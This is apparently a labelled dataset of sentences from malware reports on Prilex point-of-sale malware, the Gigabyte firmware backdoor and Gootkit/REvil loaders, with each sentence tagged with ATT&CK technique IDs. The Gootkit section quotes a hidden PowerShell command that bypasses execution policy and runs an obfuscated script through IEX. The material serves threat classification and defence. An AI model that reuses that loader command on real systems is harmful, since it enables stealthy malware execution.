{"sentence": "Numerous available commands are for general use, allowing the criminals to collect information about the infected machine.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Command Description Download Download a file from the remote server Shell Execute a specified command via CMD GetConfig Get the configuration file KillProcess Terminate a process SetStartup Add the process to a startup registry key StartSendScreen Start screen capture StopSendScreen Stop screen capture Uploader Module This module is responsible for checking the directory specified in the CABPATH parameter in the config file and sending all cab files generated from the stolen transactions to the server; the files are sent through an HTTP POST request.", "labels": ["T1041", "T1059.003", "T1071.001", "T1105", "T1113", "T1547.001"], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "The endpoint used by the module is also mentioned in the uploader configuration file.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "[SNDCAB]CABHOST=C2CABPORT=80CABPAGE=/upload.phpCABPATH=c:\\cab The use of this module indicates a change in the group’s operation structure, since in the previous version, the collected information was sent to a server whose address was hardcoded into the stealer code, and the module used the same protocol as the backdoor.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "This uploader allows the operator to set the endpoint for the collected information as indicated in the configuration file; judging from the samples analyzed, it is possible to see a different infrastructure involved in the process.", "labels": ["T1041"], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Captured data stored in the uploader C2 Malware-as-a-service In 2019, a website claiming to be affiliated with Prilex started offering what it said was a malware package created by the group.", "labels": ["T1041"], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "We have little confidence in these claims: the site could be operated by copycats trying to impersonate the group and catch some money using the reputation Prilex has earned over the years.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "This website was still up and running at the time of writing this.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "The asking price for what is supposedly a Prilex PoS kit is $3,500.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "The website says its owners have worked with Russian cybercriminals in the past, another claim we cannot confirm.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Worth mentioning, too, is that our Digital Footprint Intelligence service found citations of a Prilex malware package sold through Telegram chats, in an underground channel, priced between €10,000 and $13,000.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "We have no way of confirming that what is being offered is the real Prilex malware.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "At the same time, Prilex now using Subversion is a clear sign they are working with more than one developer.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Conclusions The Prilex group has shown a high level of knowledge about credit and debit card transactions, and how software used for payment processing works.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "This enables the attackers to keep updating their tools in order to find a way to circumvent the authorization policies, allowing them to perform their attacks.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Over years of activity, the group has changed its attack techniques a lot.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "However, it has always abused processes relating to PoS software to intercept and modify communications with the PIN pad.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Considering that, we strongly suggest that PoS software developers implement self-protection techniques in their modules, such as the protection available through our Kaspersky SDK, aiming to prevent malicious code from tampering with the transactions managed by those modules.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "To credit card acquirers and issuers, we recommend avoiding “security by obscurity”: do not underestimate the fraudster.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "All EMV validations must be implemented!", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Prilex’s success is the greatest motivator for new families to emerge as fast-evolving and more complex malware with a major impact on the payment chain.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "To financial institutions who fell victims to this kind of fraud, we recommend our Kaspersky Threat Attribution Engine to help IR teams with finding and detecting Prilex files in attacked environments.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "The Prilex family is detected by all Kaspersky products as HEUR:Trojan.Win32.Prilex and HEUR:Trojan.Win64.Prilex.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "More details about the threat and a full analysis is available to customers of our Threat Intelligence Reports.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "With any requests about our private reports, please contact crimewareintel@kaspersky.com.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Recently, the Eclypsium platform began detecting suspected backdoor-like behavior within Gigabyte systems in the wild.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "These detections were driven by heuristic detection methods, which play an important role in detecting new, previously-unknown supply chain threats, where legitimate third-party technology products or updates have been compromised.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Our follow-up analysis discovered that firmware in Gigabyte systems is dropping and executing a Windows native executable during the system startup process, and this executable then downloads and executes additional payloads insecurely.", "labels": ["T1105"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "It uses the same techniques as other OEM backdoor-like features like Computrace backdoor (a.k.a. LoJack DoubleAgent) abused by threat actors and even firmware implants such as Sednit LoJax, MosaicRegressor, Vector-EDK.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Subsequent analysis showed that this same code is present in hundreds of models of Gigabyte PCs.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "We are working with Gigabyte to address this insecure implementation of their app center capability.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "In the interest of protecting organizations from malicious actors, we are also publicly disclosing this information and defensive strategies on a more accelerated timeline than a typical vulnerability disclosure.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "This backdoor appears to be implementing intentional functionality and would require a firmware update to completely remove it from affected systems.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "While our ongoing investigation has not confirmed exploitation by a specific threat actor, an active widespread backdoor that is difficult to remove poses a supply chain risk for organizations with Gigabyte systems.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "At a high level, the relevant attack vectors include: Compromise in the supply chain Compromise in the local environment Malware persistence via functionality of this firmware in systems A more detailed analysis of these risks is provided with suggested mitigations below.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "After a more traditional vulnerability disclosure timeline, we plan to publish details about how this works.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Key Findings There are two important aspects of our findings: Eclypsium automated heuristics detected firmware on Gigabyte systems that drops an executable Windows binary that is executed during the Windows startup process.", "labels": ["T1105"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "This executable binary insecurely downloads and executes additional payloads from the Internet.", "labels": ["T1105"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Since many more issues like this continue to be discovered, Eclypsium is continuously running at-scale analysis of the information technology supply chain.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Look for additional findings on this blog and the Eclypsium Platform for your organization.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Stage 1:", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Firmware dropping OS executable An initial analysis of the affected UEFI firmware identified the following file: 8ccbee6f7858ac6b92ce23594c9e2563ebcef59414b5ac13ebebde0c715971b2.bin", "labels": ["T1027"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "This is a Windows Native Binary executable embedded inside of UEFI firmware binary in a UEFI firmware volume with the following GUID: AEB1671D-019C-4B3B-BA-00-35-A2-E6-28-04-36.", "labels": ["T1027"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "This Windows executable is embedded into UEFI firmware and written to disk by firmware as part of the system boot process, a technique commonly used by UEFI implants and backdoors.", "labels": ["T1027"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "During the Driver Execution Environment (DXE) phase of the UEFI firmware boot process, the “WpbtDxe.efi” firmware module uses the above GUID to load the embedded Windows executable file into memory, installing it into a WPBT ACPI table which will later be loaded and executed by the Windows Session Manager Subsystem (smss.exe) upon Windows startup.", "labels": ["T1027"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "The “WpbtDxe.efi” module checks if the “APP Center Download & Install” feature has been enabled in the BIOS/UEFI Setup before installing the executable into the WPBT ACPI table.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Although this setting appears to be disabled by default, it was enabled on the system we examined.", "labels": ["T1106"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "This executable uses the Windows Native API to write the contents of an embedded executable to the file system at the following location:", "labels": ["T1027", "T1106"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "%SystemRoot%\\system32\\GigabyteUpdateService.exe It then sets registry entries to run this executable as a Windows Service.", "labels": ["T1112", "T1569.002"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "The mechanism described here is similar to the methods used by other UEFI firmware implants such as LoJax, MosiacRegressor, MoonBounce, and Vector-EDK, referenced previously.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Stage 2: Downloading and running further executables", "labels": ["T1105"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "The dropped Windows executable is a .NET application.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "It downloads and runs an executable payload from one of the following locations, depending on how it’s been configured: http://mb.download.gigabyte.com/FileList/Swhttp/LiveUpdate4 https://mb.download.gigabyte.com/FileList/Swhttp/LiveUpdate4 https://software-nas/Swhttp/LiveUpdate4 Plain HTTP (the first bullet above) should never be used for updating privileged code as it is easily compromised via Machine-in-the-middle (MITM) attacks.", "labels": ["T1105"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "However, we noticed that even when using the HTTPS-enabled options, remote server certificate validation is not implemented correctly.", "labels": ["T1071.001"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Therefore, MITM is possible in that case also.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "The firmware does not implement any cryptographic digital signature verification or any other validation over the executables.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "The dropped executable and the normally-downloaded Gigabyte tools do have a Gigabyte cryptographic signature that satisfies the code signing requirements of Microsoft Windows, but this does little to offset malicious use, especially if exploited using Living-off-the-Land techniques (like in the recent alert regarding Volt Typhoon attackers).", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "As a result, any threat actor can use this to persistently infect vulnerable systems either via MITM or compromised infrastructure. Risks and Impact These issues expose organizations to a wide range of risks and attack scenarios.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Abuse of an OEM backdoor by threat actors – Previously, threat actors have taken advantage of legitimate but insecure/vulnerable “OEM backdoor” software built into the firmware of PCs.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Most notably, Sednit group (APT28, FancyBear) exploited Computrace LoJack to masquerade as legitimate laptop anti-theft feature.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Compromise of the OEM update infrastructure and supply chain – Gigabyte does have documentation on their website for this feature so it may be legitimate, but we cannot confirm what is happening within Gigabyte.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "In August 2021, Gigabyte experienced a breach of critical data by the RansomEXX group and then experienced another breach in October 2021 by the AvosLocker group.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Persistence using UEFI Rootkits and Implants – UEFI rootkits and implants are some of the stealthiest and most powerful forms of malware in existence.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "They reside in firmware on motherboards or within EFI system partitions of storage media, and execute before the operating system, allowing them to completely subvert the OS and security controls running in higher layers.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Additionally, since most of the UEFI code exists on the motherboard instead of storage drives, UEFI threats will easily persist even if drives are wiped and the OS is reinstalled.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "The rate of discovery of new UEFI rootkits has accelerated sharply in recent years as seen by the discovery of LoJax (2018), MosaicRegressor (2020), FinSpy (2021) ESPecter (2021), MoonBounce (2022), CosmicStrand (2022), and BlackLotus (2023).", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Most of these were used to enable persistence of other, OS-based malware.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "This Gigabyte firmware images and the persistently dropped Windows executable enable the same attack scenario.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Often, the above implants made their native Windows executables look like legitimate update tools.", "labels": ["T1036.005"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "In the case of MosaicRegressor, the Windows payload was named “IntelUpdater.exe” MITM attacks on firmware and software update features – Additionally, the insecure nature of the update process opens the door to MITM techniques via a compromised router, compromised device on the same network segment, DNS poisoning, or other network manipulation.", "labels": ["T1036.005"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "It is also important to note that the third connection option, https://software-nas/Swhttp/LiveUpdate4 , is not a fully qualified domain name, but rather, a machine name that would presumably be on the local network.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "This means an attacker on a local subnet could trick the implant into connecting to their system, without the need for DNS spoofing.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Ongoing risk due to unwanted behavior within official firmware – Backdoors hidden within UEFI or other firmware can be hard to remove.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Even if the backdoor executable is removed, the firmware will simply drop it again the next time the system boots up.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "This challenge was demonstrated before when trying to remove Computrace LoJack and relates to vulnerabilities in Lenovo Service Engine on notebooks and desktops.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Recommendations We recommend exercising caution when using Gigabyte systems or systems with affected motherboards.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Organizations can also take the following actions to minimize the risk: Scan and monitor systems and firmware updates in order to detect affected Gigabyte systems and the backdoor-like tools embedded in firmware.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Update systems to the latest validated firmware and software in order to address security issues like this one. Inspect and disable the “APP Center Download & Install” feature in UEFI/BIOS Setup on Gigabyte systems and set a BIOS password to deter malicious changes.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Administrators can also block the following URLs: http://mb.download.gigabyte.com/FileList/Swhttp/LiveUpdate4 https://mb.download.gigabyte.com/FileList/Swhttp/LiveUpdate4 https://software-nas/Swhttp/LiveUpdate4 Researchers at Eclypsium Labs are continuing to investigate for any signs of malicious activity related to this discovery.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "We will provide additional updates as new information becomes available.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "For more information or assistance contact Eclypsium at [email protected].", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "A list of affected models is available here.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "This blog post was authored by Hasherezade and Jérôme Segura", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "On November 23, we received an alert from a partner about a resurgence of Gootkit infections in Germany.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Gootkit is a very capable banking Trojan that has been around since 2014 and possesses a number of functionalities such as keystroke or video recording designed to steal financially-related information.", "labels": ["T1056.001"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "In this latest campaign, threat actors are relying on compromised websites to socially engineer users by using a decoy forum template instructing them to download a malicious file.", "labels": ["T1204.002"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "While analyzing the complex malware loader we made a surprising discovery.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Victims receive Gootkit itself or, in some cases, the REvil (Sodinokibi) ransomware.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The decision to serve one or the other payload happens after a check with the criminal infrastructure.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Gootkit attacks observed in Germany Security researcher TheAnalyst was the first to publicly identify an active campaign in November using a sophisticated loader that was eventually attributed to Gootkit, a banking Trojan not observed in the wild for some time.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Germany’s Computer Emergency Response Team CERT-Bund later confirmed that German users were being targeted via compromised websites.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Around the same time, we started receiving reports from some of our partners and their ISPs about Gootkit-related traffic.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "We were able to confirm Gootkit detections within our telemetry that were all located in Germany.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Figure 1: Gootkit infections in Germany in the wake of the campaign After a couple of days, we remediated over 600 unique machines that had been compromised.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Fake forum template on hacked websites The initial loader is spread via hacked websites using an interesting search engine optimization (SEO) technique to customize a fake template that tries to trick users to download a file.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The template mimics a forum thread where a user asks in German for help about a specific topic and receives an answer which appears to be exactly what they were looking for.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "It’s worth noting that the hacked sites hosting this template are not German (only the template is); they simply happen to be vulnerable and are used as part of the threat actor’s infrastructure.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Figure 2: Compromised site loads decoy template to trick victims This fake forum posting is conditionally and dynamically created if the correct victim browses the compromised website.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "A script removes the legitimate webpage content from the DOM and adds its own content (the template showing a link to a file to download).", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Figure 3: A view of the HTML code behind the decoy template There is a server-side check prior to each visit to the page to determine if the user has already been served the fake template or not, in which case the webserver will return legitimate content instead.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Fileless execution and module installation", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The infection process starts once the victim executes a malicious script inside the zip archive they just downloaded.", "labels": ["T1027", "T1204.002"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Figure 4: Malicious script, heavily obfuscated This script is the first of several stages that leads to the execution of the final payload.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The following diagram shows a high level overview: Figure 5: Infection flow Stage 1 – The first JavaScript The first JavaScript is the module that has to be manually executed by the victim, and it has been obfuscated in order to hide its real intentions.", "labels": ["T1027", "T1204.002"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The obfuscation consists of three layers where one decodes content for the next.", "labels": ["T1140"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The first stage (a version with cleaned formatting available here) decodes the next element: Figure 6: First stage script The decoded output is a comma-separated array of JavaScript blocks: Figure 7: Decoded comma-separated array of scripts There are four elements in the array that are referenced by their indexes.", "labels": ["T1140"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "For example, the element with the index 0 means “constructor”, 1 is another block of JavaScript code, 2 is empty, 3 is a wrapper that causes a call to a supplied code.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Block 1 is responsible for reading/writing registry keys under “HKEY_CURRENT_USER\\SOFTWARE\\”.", "labels": ["T1112"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "It also deobfuscates and runs another block of code: Figure 8: Third JavaScript layer This fragment of code is responsible for connecting to the C2.", "labels": ["T1140"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "It fetches the domains from the list, and tries them one by one.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "If it gets a response, it runs it further.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The above downloader script is the first stage of the loading process.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Functionality-wise it is almost identical in all the dropped files.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The differentiation between the variants starts in the next part, which is another JavaScript fetched from the C2 server.", "labels": ["T1105"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Stage 2 – The second JavaScript (downloaded from the C2)", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The expected response from the server is a decimal string, containing a pseudorandom marker used for validation.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "It needs to be removed before further processing.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The marker consists of “@[request argument]@”.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Figure 9: GET request with C2 server After conversion to ASCII, the next JavaScript is revealed, and the code is executed.", "labels": ["T1071.001"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "This JavaScript comes with an embedded PE payload which may be either a loader for Gootkit, or for the REvil ransomware.", "labels": ["T1027"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "There are also some differences in the algorithm used to deobfuscate it.", "labels": ["T1140"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Example for the Gootkit variant (commented, full) Figure 10: The downloaded JavaScript The downloaded code chunk is responsible for installing the persistent elements.", "labels": ["T1105"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "It also runs a Powershell script that reads the storage, decodes it and runs it further.", "labels": ["T1140"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Stage 3 – The stored payload and the decoding Powershell", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The authors diversified the method of encoding and storing the payload.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "During our tests we observed two ways of encoding.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "In one of them, the PE is stored as a Base64 encoded string, and in the other as a hexadecimal string, obfuscated by having certain numbers substituted by a pattern.", "labels": ["T1027"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The payload is usually stored as a list of registry keys, yet we also observed a variant in which similar content was written into a TXT file.", "labels": ["T1027"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Example of the payload stored in a file: Figure 11: Payload as a file on disk The content of the file is an obfuscated Powershell script that runs another Base64 obfuscated layer that finally decodes the .NET payload.", "labels": ["T1027"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Example of the Powershell script that runs to deobfuscate the file: \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" -ExecutionPolicy", "labels": ["T1140"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Bypass -windowstyle hidden -Command \"IEX (([System.IO.File]::ReadAllText('C:\\Users\\[username]\\bkquwxd.txt')).Replace('~',''));\" Below we will study two examples of the loader: One that leads to execution of the REvil ransomware, and another that leads to the execution of Gootkit.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Example 1—Loading REvil ransomware", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The example below shows the variant in which a PE file was encoded as an obfuscated hexadecimal string.", "labels": ["T1027"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "In the analyzed case, the whole flow led to execution of REvil ransomware.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The sandbox analysis presenting this case is available here.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Execution of the second stage JavaScript leads to the payload being written to the registry, as a list of keys.", "labels": ["T1112"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The content is encoded as hexadecimal, and mildly obfuscated.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Figure 12: Fragment of the payload stored in the registry, encoded as a hexadecimal string obfuscated with a pattern After writing the keys, the JavaScript deploys a PowerShell command that is responsible for decoding and running the stored content.", "labels": ["T1140"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Figure 13: The JS component deploys PowerShell with a Base64 encoded script Decoded content of the script: Figure 14: Decoded content It reads the content from the registry keys and deobfuscates it by substituting patterns.", "labels": ["T1027", "T1140"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "In the given example, the pattern “!@#” in the hexadecimal string was substituted by “1000”, then the PE was decoded and loaded with the help of .NET", "labels": ["T1140"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Reflection.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The next stage PE file (.NET): REvil loader: (0e451125eaebac5760c2f3f24cc8112345013597fb6d1b7b1c167001b17d3f9f)", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The .NET loader comes with a hardcoded string that is the next stage PE: the final malicious payload.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The Setup function called by the PowerShell script is responsible for decoding and running the next PE: Figure 15: Hardcoded string (PE) Figure 16:", "labels": ["T1140"], "doc_title": "German users targeted with Gootkit banker or REvil 